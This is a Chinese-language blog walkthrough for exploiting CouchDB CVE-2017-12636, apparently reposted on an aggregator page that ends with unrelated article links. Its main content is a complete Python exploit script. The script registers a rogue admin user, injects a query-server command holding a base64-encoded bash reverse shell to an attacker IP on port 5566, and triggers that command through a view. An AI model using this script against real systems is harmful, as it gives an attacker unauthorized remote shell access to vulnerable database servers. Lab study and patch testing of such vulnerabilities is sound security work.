当前位置: 首页 > news >正文

Couchdb 任意命令执行漏洞(CVE-2017-12636)

一、环境搭建

二、访问

三、构造payload

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = 'http://192.168.217.128:5984'    # 目标ip
command = rb"""sh -i >& /dev/tcp/192.168.217.128/5566 0>&1""" # 这里的ip为监听机ip也就是攻击机
version = 1

session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

四、开启监听

五、运行脚本

六、查看效果

如上图所示即反弹shell成功!​

http://www.lryc.cn/news/271551.html

相关文章:

  • VectorWorks各版本安装指南
  • 【MySQL】数据库中为什么使用B+树不用B树
  • 微信小程序发送模板消息-详解【有图】
  • Easy Rules规则引擎实战
  • 听GPT 讲Rust源代码--library/alloc(2)
  • OSG读取和添加节点学习
  • 计算机网络技术--念念
  • C#_var
  • Linux---进程控制
  • Java注解学习,一文掌握@Autowired 和 @Resource 注解区别
  • 系列一、如何正确的获取Spring Cloud Alibaba Spring Cloud Spring Boot之间的版本对应关系
  • 数据预处理:标准化和归一化
  • Node.js+Express 路由配置,实现接口分类管理
  • HTML-基础知识-基本结构,注释,文档说明,字符编码(一)
  • 《系统架构设计师教程(第2版)》第3章-信息系统基础知识-05-专家系统(ES)
  • OSCHINA Gitee 联合呈现,《2023 中国开源开发者报告》正式发布,总结分非常帮,可以免费看的报告!
  • 代码随想Day55 | 392.判断子序列、115.不同的子序列
  • 电缆厂 3D 可视化管控系统 | 图扑数字孪生
  • C语言之scanf浅析
  • Java商城 免 费 搭 建:鸿鹄云商实现多种商业模式,VR全景到SAAS,应有尽有
  • Cypress安装与使用教程(3)—— 软测大玩家
  • Dryad数据库学习
  • TypeScript 的基础语法
  • FA模板制作
  • 国科大2023.12.28图像处理0854最后一节划重点
  • 51单片机中TCON, IE, PCON等寄存器的剖析
  • 2023.12.28 Python高级-正则表达式
  • 编程笔记 html5cssjs 014 网页布局框架
  • 抖店和商品橱窗有什么区别?新手应该选哪个?
  • 在Adobe Acrobat上如何做PDF文档签名